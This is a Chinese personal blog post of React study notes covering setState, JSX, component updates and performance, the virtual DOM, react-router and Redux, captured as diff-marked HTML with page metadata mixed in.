-</code></pre><p>匹配模式</p><p>默认情况下，react路由是模糊匹配</p><p>模糊匹配规则：当pathname以path开头就会匹配成功</p><p>因此默认路由（/）永远都会匹配成功，得出如果当前页面是/Demoabc/xxx，那么/Demoabc和默认路由（/）也是会匹配成功</p><p>精确匹配（避免默认路由匹配成功）</p><p>给Route组件添加exact属性就是将其转换为精确匹配模式</p><p>使用方法：</p><p></p><hr><p>react的jsx中的onClick事件之类的都会封装在组件中，不会污染全局</p><p>在react中使用了一个叫事件委托的事件处理方式</p><p>无论页面有多少个事件，DOM上还是只添加一个事件函数</p><p>Virtual DOM</p><p>前端性能优化有个原则：尽量减少DOM操作</p><p>DOM树是对html的抽象，那么Virtual DOM就是DOM的抽象，react会对比这次和上次渲染出来的Virtual DOM，找到发生改变的地方，达到局部更新数据，只重新渲染发生改变的那个区域，而不是改变个数据，整个dom结构都重新渲染</p><p>根据软件设计的原则，一个优秀的组件要满足高内聚和低耦合的要求</p><p>高内聚：将逻辑或者和逻辑相关的封装到一个组件中</p><p>低耦合：不同的组件的依赖性要弱化，保证每个组件要尽量独立</p><p>组件对外用prop，对内用state</p><p>在外部的组件在任何情况下都不应该直接操作prop的值，而是在内部通过state来操作数据</p><hr><p>react组件性能优化</p><p>单个组件：通过shouldComponentUpdata函数的定义，在必要的情况下不需要更新，来节约计算资源</p><p>多个组件：利用react的reconciliation算法，在树型结构的根节点不相同的话，react会推倒重新渲染，而如果相同，那么react就会保留节点的DOM元素，只对树型结构树型结构根节点上的属性和内容进行修改，只更新被修改的部分</p><p>巧妙使用key：key在react中就是唯一标识，react通过key来确定组件的身份标识，能更快速识别出哪里发生了改变，key的值不要经常改变，要保证其是唯一性，稳定不变性，请勿使用index作为key</p><hr><p>Redux</p><p>Redux是专门管理数据状态和UI状态的（可预测化的状态管理），Redux通过将应用状态存储在公用仓库（store）中，统一管理，这个仓库里有一个状态树（state tree），组件可以直接向仓库请求，可以通过监控仓库的状态来刷新状态（store的变化会导致view的变化）,调试Redux可以用Redux DevTools，Redux使用的是Flux模式</p><p>安装Redux</p><p>npm install &ndash;save redux</p><p>或者react-redux</p><p>npm install &ndash;save react-redux</p><p>src/store/reducer.js</p><pre><code>const StateData = {
-    data:[
-        'hallo',
-        'hahaha'
-    ]
-}
-export default (state = StateData,action)=&gt;{
-    return state
-}
-</code></pre><p>建立reducer管理</p><p>src/store/index.js</p><pre><code>import { createStore } from 'redux'
-import reducer from './reducer'
-const store = createStore(reducer)     
-export default store
+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"深入学习React","item":"https://chenjunlinabc.github.io/posts/63/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"深入学习React","name":"深入学习React","description":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } },() =\u0026gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = ( \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt; ) console.log(Abc) 可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行","keywords":["React"],"articleBody":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u003e{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =\u003e{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u003e{ return{ count: state.count + 1 } },() =\u003e { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = ( hallo ) console.log(Abc) 可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行\n通过该钩子函数的返回值来决定该组件是否重新渲染，返回true表示重新渲染，false表示不重新渲染\n根据该钩子函数中定义的条件，来表示是否重新渲染，例如：\nshouldComponentUpdate(nextProps, nextState){ console.log(nextProps, nextState) console.log(this.props, this.state) return false } shouldComponentUpdate()的两个参数分别表示最新的props和state\n而通过this获取的props和state是更新前的\n因此可以通过比较更新前的数据和更新后的数据是否一致来决定是否重新渲染，不一致就重新渲染，一致就不重新渲染\n例如：\nshouldComponentUpdate(nextProps, nextState){ if(nextState.count !== this.state.count){ return true } return false } 也可以直接进行比较来返回值，例如：return nextState.count !== this.state.count\n给子组件加shouldComponentUpdate()，子组件判断是否一致，通过props来判断\n纯组件（PureComponent）（内部对比是shallow compact，浅层对比）\n使用方法：class App extends React.PureComponent{}\nPureComponent内部自动实现了shouldComponentUpdate()钩子功能，不需要手动比较\n纯组件内部通过比较更新前和更新后两次props和state的值，来决定是否重新渲染组件\n浅层对比对于基础类型对比没有影响，就是值和值对比，而对于引用类型，只比较对象的引用地址是否相同，只要地址相同，就返回true，这个很坑\n如果state或者props中属性值是引用类型的，应该新建一个新数据，而不是直接修改原来的数据，例如：\nconst halloobj = { ...state.obj, a: \"hallo\" } setState({ obj: halloobj }) 虚拟DOM和Diff算法\nreact渲染视图：只要state发生变化就重新渲染视图，部分更新，只更新变化的区域\n虚拟DOM配合Diff算法实现了部分更新功能\n虚拟DOM实质上是一个js对象，来描述视图显示的内容\n在初次渲染的时候，react会根据初始state（Model），来创建一个虚拟DOM树，然后根据虚拟DOM来生成真正的DOM，渲染到视图中\n当数据（state）发生变化时，会重新根据新的数据，创建新的虚拟DOM树\n然后会与上一次得到的虚拟DOM对象，使用Diff算法进行比较，来找到需要更新的内容\n然后只将变化的内容更新（patch）到DOM中，重新渲染到视图\n当组件的render()被调用时，会根据state和jsx结构来生成虚拟DOM对象\nrender()方法调用，不代表视图重新渲染，只是说明要进行Diff比较\nReact路由\n现代前端应用大多是SPA（单页应用程序），也就是只有一个html页面的应用程序，为了使用单页面来管理原来多页面的功能，因此前端路由诞生了\n路由实质上就是从一个视图导航到另一个视图，是一套映射规则，在React中是url路径与组件的对应关系\n安装路由（react）\nyarn add react-router-dom\n导入路由的核心组件（Router, Route, Link）\nimport { BrowserRouter as Router, Route, Link } from \"react-router-dom\" 使用Router组件来作为根组件来包裹整个应用\n使用Link组件来作为路由入口\n使用Route组件来配置路由规则和要显示的组件（路由出口）\n例如：\nconst Hallo = () =\u003e ( hallo React路由 ) const PostMax = (props) =\u003e{ return ( 跳转 ) } react路由的执行过程：\n点击Link组件，修改URL\nReact路由监听到URL的变化，React路由内部遍历全部Route组件\n使用路由规则（path）与pathname（浏览器URL）进行匹配\n当路由规则和pathname匹配时，显示该Route组件的内容\n编程式导航（通过js程序来实现页面跳转）\nhistory是react路由提供的，用来获取浏览器历史记录的相关信息\n用法：this.props.history.push(\"/hallo\")\n返回上一页面：props.history.go(-1)\npush中的参数就是要跳转的路径\n例如：\nconst PostMax = (props) =\u003e{ return ( 跳转 ) } const Abc = (props) =\u003e { const onbock = () =\u003e{ props.history.go(-1) } return( hallo 返回 ) } class Demoabc extends React.Component{ onGo = () =\u003e{ this.props.history.push(\"/Abc\") } render(){ return( goDemo ) } } 默认路由（进入页面就显示指定组件）：进入页面就匹配的路由\n默认路由为/，例如：\n匹配模式\n默认情况下，react路由是模糊匹配\n模糊匹配规则：当pathname以path开头就会匹配成功\n因此默认路由（/）永远都会匹配成功，得出如果当前页面是/Demoabc/xxx，那么/Demoabc和默认路由（/）也是会匹配成功\n精确匹配（避免默认路由匹配成功）\n给Route组件添加exact属性就是将其转换为精确匹配模式\n使用方法：\nreact的jsx中的onClick事件之类的都会封装在组件中，不会污染全局\n在react中使用了一个叫事件委托的事件处理方式\n无论页面有多少个事件，DOM上还是只添加一个事件函数\nVirtual DOM\n前端性能优化有个原则：尽量减少DOM操作\nDOM树是对html的抽象，那么Virtual DOM就是DOM的抽象，react会对比这次和上次渲染出来的Virtual DOM，找到发生改变的地方，达到局部更新数据，只重新渲染发生改变的那个区域，而不是改变个数据，整个dom结构都重新渲染\n根据软件设计的原则，一个优秀的组件要满足高内聚和低耦合的要求\n高内聚：将逻辑或者和逻辑相关的封装到一个组件中\n低耦合：不同的组件的依赖性要弱化，保证每个组件要尽量独立\n组件对外用prop，对内用state\n在外部的组件在任何情况下都不应该直接操作prop的值，而是在内部通过state来操作数据\nreact组件性能优化\n单个组件：通过shouldComponentUpdata函数的定义，在必要的情况下不需要更新，来节约计算资源\n多个组件：利用react的reconciliation算法，在树型结构的根节点不相同的话，react会推倒重新渲染，而如果相同，那么react就会保留节点的DOM元素，只对树型结构树型结构根节点上的属性和内容进行修改，只更新被修改的部分\n巧妙使用key：key在react中就是唯一标识，react通过key来确定组件的身份标识，能更快速识别出哪里发生了改变，key的值不要经常改变，要保证其是唯一性，稳定不变性，请勿使用index作为key\nRedux\nRedux是专门管理数据状态和UI状态的（可预测化的状态管理），Redux通过将应用状态存储在公用仓库（store）中，统一管理，这个仓库里有一个状态树（state tree），组件可以直接向仓库请求，可以通过监控仓库的状态来刷新状态（store的变化会导致view的变化）,调试Redux可以用Redux DevTools，Redux使用的是Flux模式\n安装Redux\nnpm install –save redux\n或者react-redux\nnpm install –save react-redux\nsrc/store/reducer.js\nconst StateData = { data:[ 'hallo', 'hahaha' ] } export default (state = StateData,action)=\u003e{ return state } 建立reducer管理\nsrc/store/index.js\nimport { createStore } from 'redux' import reducer from './reducer' const store = createStore(reducer) export default store 上面通过createStore方法创建store仓库，并且暴露store仓库\n组件获取状态\nimport React, { Component } from ‘react’; import store from ‘./store’ class Demo extends Component { constructor(props){ super(props) this.state=store.getState() console.log(this.state) } render() { return ( {this.state.list} ) } }\nRedux有三个原则：唯一数据源，保持状态只读，数据改变只通过纯函数完成\n唯一数据源就是将全部组件（或者应用）状态数据只存放在唯一的一个store上\n保持状态只读就是不直接修改状态数据，通过一个action对象来完成，不是不修改状态数据，而是创建一个新的状态对象返回给Redux，让Redux来完成状态的处理\n数据改变只通过纯函数完成就是通过reducer来规约数据\nReact-Redux将全部组件分为两种，UI组件和容器组件\nUI组件就是只提供UI，没有涉及逻辑处理的，没有状态，不使用任何Redux的api，数据完全靠this.props来提供\n容器组件就是只提供逻辑处理，不涉及任何关于UI的\n一般来说容器组件会包裹UI组件，来提供组件通信，将数据传递给只提供UI的组件，UI根据传递过来的数据来渲染更新\n在Redux中，容器组件都由Redux提供，只需要专注逻辑和UI组件就可以了\n通过connect方法来将UI组件和容器组件连接起来，可以通过connect方法自动生成容器组件\n例如：\nimport { connect } from 'react-redux' const Docker = connect()(Ui) 其中Docker就是通过connect方法生成的容器组件，而Ui就是UI组件\nconnect()方法还支持两个参数，分别是输入逻辑和输出逻辑\n输入逻辑就是如何将数据传递给UI组件的定义（props），输出逻辑就是如何将用户操作UI组件的数据映射到store.dispatch\nwithRouter高阶组件：当某个东西不是router路由时，但是需要它跳转时，就可以使用withRouter\nwithRouter组件是在react-router-dom中的，因此需要引用，用法：\nimport React from 'react' import { withRouter, Route } from \"react-router-dom\" class Demo extends React.Component { render() { console.log(this.props) return ( ) } } export default withRouter(Demo) 可以看到withRouter接收一个组件，router的history, location, match存储在组件的props属性中\n","wordCount":"439","inLanguage":"en","datePublished":"2021-07-25T12:00:00Z","dateModified":"2021-07-25T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/63/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>深入学习React</h1><div class=post-meta><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%b7%b1%e5%85%a5%e5%ad%a6%e4%b9%a0React.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>setState()</p><p>注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）</p><p>setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据</p><p>如果当前setState()依赖于前面的setState()，解决方法：</p><pre><code>this.setState((state, props) =&gt;{
+    return{
+        count: state.count + 1
+    }
+})
+console.log(this.state.count)
+this.setState((state, props) =&gt;{
+    return{
+        count: state.count + 1
+    }
+})
+console.log(this.state.count)
+</code></pre><p>state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props</p><p>如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数</p><p>例如：</p><pre><code>this.setState((state, props) =&gt;{
+    return{
+       count: state.count + 1
+    }
+},() =&gt; {
+    console.log(this.state.count)
+})
+</code></pre><p>可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值</p><p>因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新</p><hr><p>jsx语法的转化</p><p>jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法</p><p>而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新</p><p>例如：</p><pre><code>const Abc = (
+    &lt;div&gt;hallo&lt;/div&gt;
+)
+console.log(Abc)
+</code></pre><p>可以看到输出返回的是一个js对象</p><p>React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）</p><hr><p>组件更新机制</p><p>setState()的作用：修改state，更新组件</p><p>父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响</p><p>初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件</p><p>更新根组件，那么其下全部的组件树都会更新</p><hr><p>组件性能优化</p><p>state只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中</p><p>如果需要在多个方法中使用（共享）的数据，应该放在this中</p><p>因为组件更新机制的原因，子组件没有变化也会重新渲染</p><p>解决方法：</p><p>使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行</p><p>通过该钩子函数的返回值来决定该组件是否重新渲染，返回true表示重新渲染，false表示不重新渲染</p><p>根据该钩子函数中定义的条件，来表示是否重新渲染，例如：</p><pre><code>shouldComponentUpdate(nextProps, nextState){
+    console.log(nextProps, nextState)
+    console.log(this.props, this.state)
+    return false
+}
+</code></pre><p>shouldComponentUpdate()的两个参数分别表示最新的props和state</p><p>而通过this获取的props和state是更新前的</p><p>因此可以通过比较更新前的数据和更新后的数据是否一致来决定是否重新渲染，不一致就重新渲染，一致就不重新渲染</p><p>例如：</p><pre><code>shouldComponentUpdate(nextProps, nextState){
+    if(nextState.count !== this.state.count){
+        return true
+    }
+    return false
+}
+</code></pre><p>也可以直接进行比较来返回值，例如：return nextState.count !== this.state.count</p><p>给子组件加shouldComponentUpdate()，子组件判断是否一致，通过props来判断</p><p>纯组件（PureComponent）（内部对比是shallow compact，浅层对比）</p><p>使用方法：class App extends React.PureComponent{}</p><p>PureComponent内部自动实现了shouldComponentUpdate()钩子功能，不需要手动比较</p><p>纯组件内部通过比较更新前和更新后两次props和state的值，来决定是否重新渲染组件</p><p>浅层对比对于基础类型对比没有影响，就是值和值对比，而对于引用类型，只比较对象的引用地址是否相同，只要地址相同，就返回true，这个很坑</p><p>如果state或者props中属性值是引用类型的，应该新建一个新数据，而不是直接修改原来的数据，例如：</p><pre><code>const halloobj = { ...state.obj, a: &quot;hallo&quot; }
+setState({ obj: halloobj })
+</code></pre><hr><p>虚拟DOM和Diff算法</p><p>react渲染视图：只要state发生变化就重新渲染视图，部分更新，只更新变化的区域</p><p>虚拟DOM配合Diff算法实现了部分更新功能</p><p>虚拟DOM实质上是一个js对象，来描述视图显示的内容</p><p>在初次渲染的时候，react会根据初始state（Model），来创建一个虚拟DOM树，然后根据虚拟DOM来生成真正的DOM，渲染到视图中</p><p>当数据（state）发生变化时，会重新根据新的数据，创建新的虚拟DOM树</p><p>然后会与上一次得到的虚拟DOM对象，使用Diff算法进行比较，来找到需要更新的内容</p><p>然后只将变化的内容更新（patch）到DOM中，重新渲染到视图</p><p>当组件的render()被调用时，会根据state和jsx结构来生成虚拟DOM对象</p><p>render()方法调用，不代表视图重新渲染，只是说明要进行Diff比较</p><hr><p>React路由</p><p>现代前端应用大多是SPA（单页应用程序），也就是只有一个html页面的应用程序，为了使用单页面来管理原来多页面的功能，因此前端路由诞生了</p><p>路由实质上就是从一个视图导航到另一个视图，是一套映射规则，在React中是url路径与组件的对应关系</p><p>安装路由（react）</p><p>yarn add react-router-dom</p><p>导入路由的核心组件（Router, Route, Link）</p><pre><code>import { BrowserRouter as Router, Route, Link } from &quot;react-router-dom&quot;
+</code></pre><p>使用Router组件来作为根组件来包裹整个应用</p><p>使用Link组件来作为路由入口</p><p>使用Route组件来配置路由规则和要显示的组件（路由出口）</p><p>例如：</p><pre><code>const Hallo = () =&gt; (
+    &lt;div&gt;
+        hallo React路由
+    &lt;/div&gt;
+)
+const PostMax = (props) =&gt;{
+    return (
+        &lt;Router&gt;
+            &lt;div&gt;
+                &lt;Link to=&quot;/hallo&quot;&gt;跳转&lt;/Link&gt;
+                &lt;Route path=&quot;/hallo&quot; component={Hallo}&gt;&lt;/Route&gt;
+            &lt;/div&gt;
+        &lt;/Router&gt;
+    ) 
+}
+</code></pre><p>react路由的执行过程：</p><p>点击Link组件，修改URL</p><p>React路由监听到URL的变化，React路由内部遍历全部Route组件</p><p>使用路由规则（path）与pathname（浏览器URL）进行匹配</p><p>当路由规则和pathname匹配时，显示该Route组件的内容</p><p>编程式导航（通过js程序来实现页面跳转）</p><p>history是react路由提供的，用来获取浏览器历史记录的相关信息</p><p>用法：this.props.history.push("/hallo")</p><p>返回上一页面：props.history.go(-1)</p><p>push中的参数就是要跳转的路径</p><p>例如：</p><pre><code>const PostMax = (props) =&gt;{
+    return (
+        &lt;Router&gt;
+            &lt;div&gt;
+                &lt;Link to=&quot;/demoabc&quot;&gt;跳转&lt;/Link&gt;
+                &lt;Route path=&quot;/demoabc&quot; component={Demoabc}&gt;&lt;/Route&gt;
+                &lt;Route path=&quot;/abc&quot; component={Abc}&gt;&lt;/Route&gt;
+            &lt;/div&gt;
+        &lt;/Router&gt;
+    ) 
+}
+const Abc = (props) =&gt; {
+    const onbock = () =&gt;{
+        props.history.go(-1)
+    }
+    return(
+        &lt;div&gt;
+            &lt;div&gt;hallo&lt;/div&gt;
+            &lt;div onClick={onbock}&gt;返回&lt;/div&gt;
+        &lt;/div&gt;
+    )
+}
+class Demoabc extends React.Component{
+    onGo = () =&gt;{
+        this.props.history.push(&quot;/Abc&quot;)
+    }
+    render(){
+        return(
+            &lt;div onClick = {this.onGo}&gt;goDemo&lt;/div&gt;
+        )
+    }
+}
+</code></pre><p>默认路由（进入页面就显示指定组件）：进入页面就匹配的路由</p><p>默认路由为/，例如：</p><pre><code>&lt;Route path=&quot;/&quot; component={Demoabc}&gt;&lt;/Route&gt;
+</code></pre><p>匹配模式</p><p>默认情况下，react路由是模糊匹配</p><p>模糊匹配规则：当pathname以path开头就会匹配成功</p><p>因此默认路由（/）永远都会匹配成功，得出如果当前页面是/Demoabc/xxx，那么/Demoabc和默认路由（/）也是会匹配成功</p><p>精确匹配（避免默认路由匹配成功）</p><p>给Route组件添加exact属性就是将其转换为精确匹配模式</p><p>使用方法：</p><p></p><hr><p>react的jsx中的onClick事件之类的都会封装在组件中，不会污染全局</p><p>在react中使用了一个叫事件委托的事件处理方式</p><p>无论页面有多少个事件，DOM上还是只添加一个事件函数</p><p>Virtual DOM</p><p>前端性能优化有个原则：尽量减少DOM操作</p><p>DOM树是对html的抽象，那么Virtual DOM就是DOM的抽象，react会对比这次和上次渲染出来的Virtual DOM，找到发生改变的地方，达到局部更新数据，只重新渲染发生改变的那个区域，而不是改变个数据，整个dom结构都重新渲染</p><p>根据软件设计的原则，一个优秀的组件要满足高内聚和低耦合的要求</p><p>高内聚：将逻辑或者和逻辑相关的封装到一个组件中</p><p>低耦合：不同的组件的依赖性要弱化，保证每个组件要尽量独立</p><p>组件对外用prop，对内用state</p><p>在外部的组件在任何情况下都不应该直接操作prop的值，而是在内部通过state来操作数据</p><hr><p>react组件性能优化</p><p>单个组件：通过shouldComponentUpdata函数的定义，在必要的情况下不需要更新，来节约计算资源</p><p>多个组件：利用react的reconciliation算法，在树型结构的根节点不相同的话，react会推倒重新渲染，而如果相同，那么react就会保留节点的DOM元素，只对树型结构树型结构根节点上的属性和内容进行修改，只更新被修改的部分</p><p>巧妙使用key：key在react中就是唯一标识，react通过key来确定组件的身份标识，能更快速识别出哪里发生了改变，key的值不要经常改变，要保证其是唯一性，稳定不变性，请勿使用index作为key</p><hr><p>Redux</p><p>Redux是专门管理数据状态和UI状态的（可预测化的状态管理），Redux通过将应用状态存储在公用仓库（store）中，统一管理，这个仓库里有一个状态树（state tree），组件可以直接向仓库请求，可以通过监控仓库的状态来刷新状态（store的变化会导致view的变化）,调试Redux可以用Redux DevTools，Redux使用的是Flux模式</p><p>安装Redux</p><p>npm install &ndash;save redux</p><p>或者react-redux</p><p>npm install &ndash;save react-redux</p><p>src/store/reducer.js</p><pre><code>const StateData = {
+    data:[
+        'hallo',
+        'hahaha'
+    ]
+}
+export default (state = StateData,action)=&gt;{
+    return state
+}
+</code></pre><p>建立reducer管理</p><p>src/store/index.js</p><pre><code>import { createStore } from 'redux'
+import reducer from './reducer'
+const store = createStore(reducer)     
+export default store
 </code></pre><p>上面通过createStore方法创建store仓库，并且暴露store仓库</p><p>组件获取状态</p><p>import React, { Component } from &lsquo;react&rsquo;;
 import store from &lsquo;./store&rsquo;
 class Demo extends Component {
@@ -185,24 +185,24 @@
 {this.state.list}
 )
 }
-}</p><p>Redux有三个原则：唯一数据源，保持状态只读，数据改变只通过纯函数完成</p><p>唯一数据源就是将全部组件（或者应用）状态数据只存放在唯一的一个store上</p><p>保持状态只读就是不直接修改状态数据，通过一个action对象来完成，不是不修改状态数据，而是创建一个新的状态对象返回给Redux，让Redux来完成状态的处理</p><p>数据改变只通过纯函数完成就是通过reducer来规约数据</p><p>React-Redux将全部组件分为两种，UI组件和容器组件</p><p>UI组件就是只提供UI，没有涉及逻辑处理的，没有状态，不使用任何Redux的api，数据完全靠this.props来提供</p><p>容器组件就是只提供逻辑处理，不涉及任何关于UI的</p><p>一般来说容器组件会包裹UI组件，来提供组件通信，将数据传递给只提供UI的组件，UI根据传递过来的数据来渲染更新</p><p>在Redux中，容器组件都由Redux提供，只需要专注逻辑和UI组件就可以了</p><p>通过connect方法来将UI组件和容器组件连接起来，可以通过connect方法自动生成容器组件</p><p>例如：</p><pre><code>import { connect } from 'react-redux'
-const Docker = connect()(Ui)
-</code></pre><p>其中Docker就是通过connect方法生成的容器组件，而Ui就是UI组件</p><p>connect()方法还支持两个参数，分别是输入逻辑和输出逻辑</p><p>输入逻辑就是如何将数据传递给UI组件的定义（props），输出逻辑就是如何将用户操作UI组件的数据映射到store.dispatch</p><hr><p>withRouter高阶组件：当某个东西不是router路由时，但是需要它跳转时，就可以使用withRouter</p><p>withRouter组件是在react-router-dom中的，因此需要引用，用法：</p><pre><code>import React from 'react'
-import { withRouter, Route } from &quot;react-router-dom&quot;
-class Demo extends React.Component {
-    render() { 
-        console.log(this.props)
-        return ( 
-            &lt;div&gt;
-                &lt;Route exact path='/' component={Home} /&gt;
-                &lt;Route path='/admin' component={Admin} /&gt;
-            &lt;/div&gt;
-         )
-    }
-}
-export default withRouter(Demo)
